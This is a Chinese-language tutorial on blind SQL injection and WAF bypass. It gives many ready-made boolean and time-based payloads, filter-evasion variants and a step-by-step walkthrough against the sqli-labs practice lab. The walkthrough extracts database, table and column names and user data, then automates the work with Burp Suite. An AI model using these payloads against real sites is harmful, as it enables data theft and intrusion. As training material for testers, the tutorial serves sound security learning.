SQL盲注利用流程及绕过WAF
盲注
- 一般用在http返回的信息没有报错和数据库相关的信息
- 时间盲注和布尔盲注的区别:布尔盲注根据页面显示的信息做判断;时间盲注根据 **if 判断条件内的sleep()**是否被执行
1. 分类
实现方式分类
- 布尔型
- 时间盲注
按照注入方式
- 搜索型
- insert()
- update()
- delete()
2. 原理
回显注入:数据库中查询出来的数据会直接显示到页面
报错注入:数据库中查询出来的数据不一定出会直接显示到页面,但数据库的原始报错信息会出现在页面
布尔型盲注:数据库中查询出来的数据不会出会直接显示到页面,将根据数据库中获取的值做判断,并将判断后的结果输出。
- 由于页面无法返回数据库信息,因此只能进行猜测。每次只猜测一位字符,是最节省成本的,因此需要用到截取函数对查询的整个字符进行拆分,逐位进行判断。
- 逐位将字符转为ascii码值,然后在用二分法确定该字符的值
时间盲注:页面无任何变化。
id=1 and if(ascii(substr(select database()>0,1,1)),sleep(5),1);
-- 在利用时间盲注的时候,根据sleep()是否被执行判断是否大于0;其他方法的利用都和布尔盲注一样
3. 作用
3.1 绕过WAF(规范化方法)
第一个例子是关于归一化请求函数的漏洞
-- 这个例子不允许任何人有下面请求的攻击行为
/?id=1+union+select+1,2,3/*
-- 如果防火墙存在相应的漏洞,那么下面请求将会生效
/?id=1/*union*/union/*select*/select+1,2,3/*
-- 因为被防火墙处理之后,这个请求会变成:
index.php?id=1/*uni X on*/ union /*sel X ect*/select+1,2,3/*
与构造/**/相似的任意防火墙会剪掉(cuts off)的字符序列都可以使用(如####,%00)
这个例子在防火墙过度的清理输入数据时生效(将一些目标表达替换为空字符串)
3.2 sql盲注绕过WEB
使用and/or逻辑查询请求
下面的攻击请求可以被很多WAF识别
/?id=1+OR+0x50=0x50
/?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
否定或不等号(!=,<>,<,>)可以替换等号达成绕过,看起来很不可思议,但就是很多WAF都忽略了这一点!
所以替换同义符号来sql盲注可以利用这种漏洞。
substring() -> mid(), substr()
ascii() -> hex(), bin()
benchmark() -> sleep()
不同的逻辑语句
and 1
or 1
and 1=1
and 2<3
and 'a'='a'
and 'a'<>'b'
and char(32)=' '
and 3<=2
and 5<=>4
and 5<=>5
and 5 is null
or 5 is not null
例子
select user from mysql.user where user = 'user' OR mid(password,1,1)='*'#直接字符
select user from mysql.user where user = 'user' OR mid(password,1,1)=0x2a #16进制
select user from mysql.user where user = 'user' OR mid(password,1,1)=unhex('2a') #16进制函数
select user from mysql.user where user = 'user' OR mid(password,1,1) regexp '[*]' #匹配正则
select user from mysql.user where user = 'user' OR mid(password,1,1) like '*' #like替换=
select user from mysql.user where user = 'user' OR mid(password,1,1) rlike '[*]' #rlike正则
select user from mysql.user where user = 'user' OR ord(mid(password,1,1))=42 #ascii码
select user from mysql.user where user = 'user' OR ascii(mid(password,1,1))=42 #同上
select user from mysql.user where user = 'user' OR find_in_set('2a',hex(mid(password,1,1)))=1 #find_in_set前面的是否在后面的里面
select user from mysql.user where user = 'user' OR position(0x2a in password)=1
#position 第一个参数在第二个参数中第一次出现的位置
select user from mysql.user where user = 'user' OR locate(0x2a,password)=1
#locate 第一个参数在第二个参数中的位置
...
更多内容见 https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF#SQLi
4. 利用技巧+特殊函数(盲注核心)
以下用布尔盲注做演示
截断函数
1.left:
SELECT LEFT('hello',3)
-- 返回 hel ,从左往右截取
2.substr:
select SUBSTR('fute',2,2)
-- 第二个参数表示起始位置,数据为正表示正向截取,为负表示反向截取
3.mid:
select MID(str,pos,len)
-- 用法类似于substr()
编码函数
hex:16进制编码hex()
select hex(substr((select database()),1,1))
-- 截取数据库名的第一个字符,并转化为16进制编码
ascii:编码ascii()
select ascii(substr((select database()),1,1))
-- 截取数据库名的第一个字符,并转化为ascall码
regexp + 正则表达式
id=1 and (select database() regexp '^a')
id=1 and (select database() regexp '^ad')
id=1 and (select database() regexp '^adm')
id=1 and (select database() regexp '^admi')
id=1 and (select database() regexp '^admin')
模糊查询
id=1 and (select database() like 'a%')
id=1 and (select database() like 'ad%')
id=1 and (select database() like 'adm%')
id=1 and (select database() like 'admi%')
id=1 and (select database() like 'admin%')
5. 流程
1、找疑似漏洞点----找数据输入,能与数据库交互的地方
2、测试类型----判断数字型好还是字符型
3、验证漏洞是否存在
4、获取数据
案例:sqli-labs Less 8
-- 1. 判断注入点(能于数据库交互的地方) ?id=1
-- 2. 判断字符型 or 数值型
id=1 and 1=1 -- 返回空
id=1 and 1=2 -- 返回空
id=1' and 1=1 --+ -- 返回You are in...
id=1' and 1=2 --+ -- 返回空
-- 只能返回 You are in... 或 空;因此要进行盲注
-- 3. 获取数据(用ascall编码+二分法)
-- 用ascall码进行盲注,可快速判断出未知字符
and ascii(substr((select database()),1,1))>0
and ascii(substr((select database()),1,1))>1000
-- 先判断>0 ,再判断>1000 目的就是判断此语句是否正确
-- 然后在缩小范围,逐步逼近想要的值
-- 数据库名(security)已知的情况下,逐字符获取表名
and (select ascii(substr(table_name,1,1)) from information_schema.tables
where table_schema='security' limit 0,1)>100
5.1 获取当前数据库
1.计算当前数据库长度----2分法
and length((select database()))>0
2.获取数据库名
and ascii(substr((select database()),1,1))>114
5.2 获取当前数据库中的表
- 数据库中有多个表,用 limit 获取其中一个
- 利用 ascall()+二分法 获取表名的长度
- 利用 ascall()+二分法 获取表名
5.2.1 逐个读取-----limit 0,1
1. 找数据库表个数
and (select count(*) from information_schema.tables
where table_schema='security')>10 --+
2. 找每个数据库表名的长度
and (select length(table_name) from information_schema.tables
where table_schema='security' limit 0,1)>0 --+
3.获取数据库表名的值
and (select ascii(substr(table_name,1,1)) from information_schema.tables
where table_schema='security' limit 0,1)>10 --+
5.2.2 全部读取
将结果聚合起来 (用group_concat()函数)
1.计算查询结果长度
and (select length(group_concat(table_name))
from information_schema.tables where table_schema='security')>100 --+
2.读取结果
and (select ascii(substr((group_concat(table_name,'-')),1,1)
from information_schema.tables where table_schema='security')>100 --+
5.3 获取当前数据库中敏感表的列
类似于上述做法,得知表名后,就能够得知列名
-- 列名聚合在一起,判断其长度
and (select length(group_concat(column_name))
from information_schema.columns
where table_schema='security' and table_name='users')>100 --+
-- 判断列名
and (select ascii(substr((group_concat(column_name)),1,1))
from information_schema.columns
where table_schema='security' and table_name='users')>100 --+
5.4 读取数据库具体单元格的值
通过对数据库名,表名,列名等数据的获取,现在可以直接写sql语句
and SELECT ascii(SUBSTR(GROUP_CONCAT(username),1,1))
FROM security.users --+
6. 利用burpsuite进行sql盲注
操作过程
- 在URL输入框的payload中 > 改成 =
- 使用burpsuite抓取数据包
- 右键点击 send to intruder
- 点击 intruder—positions
- 点击payloads ,设置 payload type:number